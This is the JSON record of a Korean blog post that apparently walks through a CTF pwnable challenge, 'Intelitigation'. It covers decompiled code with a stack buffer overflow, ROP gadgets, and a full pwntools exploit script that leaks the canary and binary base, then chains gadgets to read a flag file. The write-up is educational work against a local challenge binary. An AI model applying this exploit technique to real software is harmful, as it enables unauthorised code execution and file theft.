{"id":3372,"date":"2025-04-20T18:00:32","date_gmt":"2025-04-20T09:00:32","guid":{"rendered":"https:\/\/h4ck.kr\/?p=3372"},"modified":"2025-04-20T18:00:34","modified_gmt":"2025-04-20T09:00:34","slug":"%ed%95%b5%ed%85%8c%ec%98%a8-2024-intelitigation","status":"publish","type":"post","link":"https:\/\/h4ck.kr\/?p=3372","title":{"rendered":"[\ud575\ud14c\uc628 2024] Intelitigation"},"content":{"rendered":"\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"795\" height=\"392\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/04\/image-57.png\" alt=\"\" class=\"wp-image-3373\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/04\/image-57.png 795w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/04\/image-57-300x148.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/04\/image-57-768x379.png 768w\" sizes=\"auto, (max-width: 795px) 100vw, 795px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">\ubb38\uc81c\uc11c\ubc84 \ud658\uacbd \uad6c\ucd95<\/h3>\n\n\n\n<p>\ub2f9\uc2dc base64 \uc778\ucf54\ub529 \ub370\uc774\ud130\uc640 \ud568\uaed8 \ubb38\uc81c\ud30c\uc77c\uc774 \uc2e4\ud589\ub418\uc5c8\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">ubuntu@2d0f4d9a440c:~\/hto2024\/Intelitigation$ nc 127.0.0.1 1337\nf0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAABEAAAAAAABAAAAAAAAAALAxAAAAAAAAAAAAAEAAOAAN...\ninput> <\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>server.sh<\/li>\n<\/ul>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"bash\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#!\/usr\/bin\/env bash\n\n# \uc11c\ube44\uc2a4\ud560 \ud3ec\ud2b8 \ubc88\ud638\nPORT=1337\n\n# prob \ud30c\uc77c\uc758 \uc808\ub300 \uacbd\ub85c\nBINARY=\"$(realpath .\/prob)\"\n\n# \ubb34\ud55c \ubc18\ubcf5\nwhile true; do\n  echo \"[*] Waiting for connection on port $PORT\u2026\" >&amp;2\n\n  # (1) OpenBSD netcat\n  #    -n: \ud638\uc2a4\ud2b8 \uc774\ub984 \ud574\uc11d\ud558\uc9c0 \uc54a\uc74c (optional)\n  #    -l: listen mode\n  #    -p: \ud3ec\ud2b8 \uc9c0\uc815\n  #    -c: \uc258 \uba85\ub839 \uc2e4\ud589 (STDIN\/STDOUT \u2194 \ub124\ud2b8\uc6cc\ud06c)\n  nc -n -l -p \"$PORT\" -c \"\n    # 1) prob \ud30c\uc77c\uc744 Base64 \uc778\ucf54\ub529\ud558\uc5ec \uc804\uc1a1\n    base64 \\\"$BINARY\\\"\n    # 2) \ubc14\ub85c \uc2e4\ud589 (STDIN\/STDOUT \u2194 \ub124\ud2b8\uc6cc\ud06c)\n    exec \\\"$BINARY\\\"\n  \"\n\n  # \ub9cc\uc57d \uc704 nc\uc5d0 -c \uc635\uc158\uc774 \uc5c6\ub2e4\uba74, \uc544\ub798 ncat \uc608\uc2dc\ub97c \uc0ac\uc6a9\ud558\uc138\uc694:\n  # ncat --keep-open -l \"$PORT\" --exec \"bash -lc 'base64 \\\"$BINARY\\\"; exec \\\"$BINARY\\\"'\"\n\n  echo \"[*] Connection closed, restarting\u2026\" >&amp;2\ndone<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Analysis<\/h3>\n\n\n\n<p>\uc6b0\uc120, base64 \uc778\ucf54\ub529 \ub370\uc774\ud130\ub97c \ubcf5\ud638\ud654\ud574\uc11c \ubb38\uc81c\ud30c\uc77c \uc800\uc7a5.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">checksec<\/h3>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">ubuntu@2d0f4d9a440c:~\/hto2024\/Intelitigation$ checksec prob\n[*] '\/home\/ubuntu\/hto2024\/Intelitigation\/prob'\n    Arch:       amd64-64-little\n    RELRO:      Full RELRO\n    Stack:      Canary found\n    NX:         NX enabled\n    PIE:        PIE enabled\n    SHSTK:      Enabled\n    IBT:        Enabled<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">main<\/h3>\n\n\n\n<p><code>sub_1324()<\/code> \ud638\ucd9c.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">__int64 __fastcall main(int a1, char **a2, char **a3)\n{\n  sub_1324();\n  return 0;\n}<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">sub_1324<\/h3>\n\n\n\n<p><code>buf<\/code> \ud06c\uae30\uac00 65\uc778\ub370, 0x300=768\ub9cc\ud07c \uc785\ub825\ubc1b\uae30\uc5d0 bof \ubc1c\uc0dd.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">unsigned __int64 sub_1324()\n{\n  _QWORD buf[65]; \/\/ [rsp+0h] [rbp-210h] BYREF\n  unsigned __int64 v2; \/\/ [rsp+208h] [rbp-8h]\n\n  v2 = __readfsqword(0x28u);\n  printf(\"input> \");\n  memset(buf, 0, 512);\n  read(0, buf, 0x300u);\n  printf(\"Your input> \");\n  printf(\"%s\", (const char *)buf);\n  return v2 - __readfsqword(0x28u);\n}<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">sub_124E<\/h3>\n\n\n\n<p><code><strong>a1<\/strong><\/code>\uc5d0 \uc77d\uc744 \ud30c\uc77c\uc774\ub984\uc744 \ub123\uc73c\uba74 open-read-write\ub97c \ud1b5\ud574 \ud30c\uc77c \uc77d\uae30 \uac00\ub2a5.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">ssize_t __fastcall sub_124E(const char *a1)\n{\n  int fd; \/\/ [rsp+1Ch] [rbp-4h]\n\n  fd = open(a1, 0);\n  read(fd, &amp;unk_40C0, 0x64u);\n  return write(1, &amp;unk_40C0, 0x64u);\n}<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">sub_12FD<\/h3>\n\n\n\n<p><strong><code>main<\/code><\/strong> \ud638\ucd9c\uc804 \ucd08\uae30\uc5d0 \uc2e4\ud589\ub428.<br><code><strong>sub_12D9<\/strong><\/code>\ub294 <code><strong>qword_4020<\/strong><\/code>\uc758 <strong><code>qword_4070<\/code><\/strong> \uc778\ub371\uc2a4\uac12\uc5d0 \ub530\ub77c \ubc18\ud658\ub428.<br><code><strong>sub_12D9<\/strong><\/code>\uc5d0\uc11c \ubc18\ud658\ub41c \uac12\uc744 <code><strong>fs:0x28 canary<\/strong><\/code>\uc5d0 \uc500.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">.init_array:0000000000003D90                 dq offset sub_12FD<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">unsigned __int64 sub_12FD()\n{\n  unsigned __int64 v0; \/\/ rax\n\n  sub_11E9();\n  v0 = sub_12D9();\n  return sub_12BD(v0);\n}<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">int sub_11E9()\n{\n  setvbuf(stdin, 0, 2, 0);\n  setvbuf(stdout, 0, 2, 0);\n  return setvbuf(stderr, 0, 2, 0);\n}<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">__int64 sub_12D9()\n{\n  return qword_4020[qword_4070];\n}<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">unsigned __int64 __fastcall sub_12BD(unsigned __int64 a1)\n{\n  unsigned __int64 result; \/\/ rax\n\n  result = a1;\n  __writefsqword(0x28u, a1);\n  return result;\n}<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">ROPgadget<\/h3>\n\n\n\n<p><strong><code>pop rbp ; ret<\/code><\/strong><\/p>\n\n\n\n<p><strong><code>push rbp ; mov rbp, rsp ; mov rdi, rsp ; pop r8 ; ret<\/code><\/strong><\/p>\n\n\n\n<p>\uc704 2\uac1c\uc758 \uac00\uc82f\uc744 \uc0ac\uc6a9.<br><strong><code>pop rbp ; ret<\/code><\/strong> \uac00\uc82f\uc5d0 \uc758\ud574 rbp\uac12\uc744 \uc9c0\uc815\ud574\uc8fc\uba74, \uc774\ud6c4<br><strong><code>push rbp ; mov rbp, rsp ; mov rdi, rsp ; pop r8 ; ret<\/code><\/strong> \uac00\uc82f\uc5d0 \uc758\ud574 rsp, rdi\uae4c\uc9c0 \uc784\uc758 \uac12\uc73c\ub85c \ucee8\ud2b8\ub864 \uac00\ub2a5.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">ubuntu@2d0f4d9a440c:~\/hto2024\/Intelitigation$ ROPgadget --binary .\/prob.bin\n...\n0x00000000000012b0 : push rbp ; mov rbp, rsp ; mov rdi, rsp ; pop r8 ; ret\n...\n0x00000000000012d2 : sub byte ptr [rax], al ; add byte ptr [rax], al ; nop ; pop rbp ; ret\n...<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">gdb fix (ptrace: Operation not permitted)<\/h3>\n\n\n\n<p><a href=\"https:\/\/github.com\/microsoft\/MIEngine\/wiki\/Troubleshoot-attaching-to-processes-using-GDB\">https:\/\/github.com\/microsoft\/MIEngine\/wiki\/Troubleshoot-attaching-to-processes-using-GDB<\/a><\/p>\n\n\n\n<p>\uac00\ub054\uc529 gdb \ud504\ub85c\uc138\uc2a4 attach\uac00 \uc548\ub420\ub54c \ud574\uacb0\ubc29\ubc95.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">sudo apt-get install libcap2-bin -y\nsudo setcap cap_sys_ptrace=eip \/usr\/bin\/gdb<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">solve.py<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li>base64 \ub514\ucf54\ub529\uc73c\ub85c \uce74\ub098\ub9ac \uc778\ub371\uc2a4\ub97c \ud1b5\ud574 \uc2a4\ud0dd \uce74\ub098\ub9ac \ud68d\ub4dd<\/li>\n\n\n\n<li>\uce74\ub098\ub9ac\uc640 \ud568\uaed8 bof \ucde8\uc57d\uc810 \ud2b8\ub9ac\uac70. ret 1\ubc14\uc774\ud2b8\ub294 \\xf2\ub85c \ub36e\uc5b4\uc500.<br><code>.text:00000000000013<strong>F2<\/strong> call sub_1324<\/code><\/li>\n\n\n\n<li>leak\ub41c \uac12\uc73c\ub85c bin_base \uacc4\uc0b0<\/li>\n\n\n\n<li>\uc55e\uc11c \uc5b8\uae09\ud55c 2\uac1c\uc758 \uac00\uc82f\uc744 \ud65c\uc6a9\ud574 ROP \uccb4\uc778\uc73c\ub85c orw \ud568\uc218 \ud638\ucd9c.<\/li>\n<\/ol>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">from pwn import *\n# context.log_level = 'debug'\ncontext(arch='amd64', os='linux')\nwarnings.filterwarnings('ignore')\n\nimport base64\nimport os\n\nprob_path = \".\/prob.bin\"\nif os.path.exists(prob_path):\n    os.remove(prob_path)\n\np = remote(\"127.0.0.1\", 1337)\n\ns = lambda str: p.send(str)\nsl = lambda str: p.sendline(str)\nsa = lambda delims, str: p.sendafter(delims, str)\nsla = lambda delims, str: p.sendlineafter(delims, str)\nr = lambda numb=4096: p.recv(numb)\nrl = lambda: p.recvline()\nru = lambda delims, drop=True: p.recvuntil(delims, drop)\nuu32 = lambda data: u32(data.ljust(4, b\"\\x00\"))\nuu64 = lambda data: u64(data.ljust(8, b\"\\x00\"))\nli = lambda str, data: log.success(str + \"========>\" + hex(data))\n\nprob_data = ru(b\"input> \").split(b\"input> \")[0]\nprob_data = base64.b64decode(prob_data)\n\nwith open('prob.bin','wb') as f:\n    f.write(prob_data)\n\ne = ELF(prob_path)\nqword_4070 = uu64(e.read(0x4070, 8))\nli(\"qword_4070\", qword_4070)\ncanary = uu64(e.read(0x4020 + qword_4070*8, 8))\nli(\"canary\", canary)\n\npayload = b\"A\"*0x208 + p64(canary) + b\"B\"*8 + b\"\\xf2\"\np.send(payload)\nru(b\"B\"*8)\nbin_base = uu64(r(6)) - 0x13f2\nli(\"bin_base\", bin_base)\n\n'''\npop_rbp__retn\n.text:00000000000012D7                 pop     rbp\n.text:00000000000012D8                 retn\n'''\n\n'''\nset_rdi\n.text:00000000000012AC sub_12AC        proc near\n.text:00000000000012AC ; __unwind {\n.text:00000000000012AC                 endbr64\n.text:00000000000012B0                 push    rbp\n.text:00000000000012B1                 mov     rbp, rsp\n.text:00000000000012B4                 mov     rdi, rsp\n.text:00000000000012B7                 pop     r8\n.text:00000000000012B9                 retn\n'''\n\nset_rdi = bin_base + 0x00000000000012B0\npop_rbp__retn = bin_base + 0x00000000000012D7\norw = bin_base + 0x124e\n\nleave__ret = bin_base + 0x13e3\nretn = bin_base + 0x13fd\n\npayload = b\"A\"*0x208 + p64(canary) + b\"B\"*8\n\npayload += p64(pop_rbp__retn)\npayload += p64(uu64(b\"flag\\x00\"))   #set rbp\npayload += p64(set_rdi)\npayload += p64(orw)\np.send(payload)\n\n\np.interactive()<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Result<\/h3>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">ubuntu@2d0f4d9a440c:~\/hto2024\/Intelitigation$ python3 solve.py\n[+] Opening connection to 127.0.0.1 on port 1337: Done\n[*] '\/home\/ubuntu\/hto2024\/Intelitigation\/prob.bin'\n    Arch:       amd64-64-little\n    RELRO:      Full RELRO\n    Stack:      Canary found\n    NX:         NX enabled\n    PIE:        PIE enabled\n    SHSTK:      Enabled\n    IBT:        Enabled\n[+] qword_4070========>0x7\n[+] canary========>0xf5595f393df9539d\n[+] bin_base========>0x555555554000\n[*] Switching to interactive mode\ninput> Your input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\x9dS\\xf9=9_Y\\xf5BBBBBBBB\\xd7RUUUUflag{fake_flag}\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00$                                  [*] Got EOF while reading in interactive\n$  <\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\ubb38\uc81c\uc11c\ubc84 \ud658\uacbd \uad6c\ucd95 \ub2f9\uc2dc base64 \uc778\ucf54\ub529 \ub370\uc774\ud130\uc640 \ud568\uaed8 \ubb38\uc81c\ud30c\uc77c\uc774 \uc2e4\ud589\ub418\uc5c8\ub2e4. Analysis \uc6b0\uc120, base64 \uc778\ucf54\ub529 \ub370\uc774\ud130\ub97c \ubcf5\ud638\ud654\ud574\uc11c \ubb38\uc81c\ud30c\uc77c \uc800\uc7a5. checksec main sub_1324() \ud638\ucd9c. sub_1324 buf \ud06c\uae30\uac00 65\uc778\ub370, 0x300=768\ub9cc\ud07c \uc785\ub825\ubc1b\uae30\uc5d0 bof \ubc1c\uc0dd. sub_124E a1\uc5d0 \uc77d\uc744 \ud30c\uc77c\uc774\ub984\uc744 \ub123\uc73c\uba74 open-read-write\ub97c \ud1b5\ud574 \ud30c\uc77c \uc77d\uae30 \uac00\ub2a5. sub_12FD main \ud638\ucd9c\uc804 \ucd08\uae30\uc5d0 \uc2e4\ud589\ub428.sub_12D9\ub294 qword_4020\uc758 qword_4070 \uc778\ub371\uc2a4\uac12\uc5d0 \ub530\ub77c \ubc18\ud658\ub428.sub_12D9\uc5d0\uc11c \ubc18\ud658\ub41c \uac12\uc744 fs:0x28 canary\uc5d0 \uc500.&hellip;&nbsp;<a href=\"https:\/\/h4ck.kr\/?p=3372\" rel=\"bookmark\">\ub354 \ubcf4\uae30 &raquo;<span class=\"screen-reader-text\">[\ud575\ud14c\uc628 2024] Intelitigation<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","footnotes":""},"categories":[19],"tags":[25],"class_list":["post-3372","post","type-post","status-publish","format-standard","hentry","category-ctf-private","tag-pwnable"],"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3372","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3372"}],"version-history":[{"count":1,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3372\/revisions"}],"predecessor-version":[{"id":3374,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3372\/revisions\/3374"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3372"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3372"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3372"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}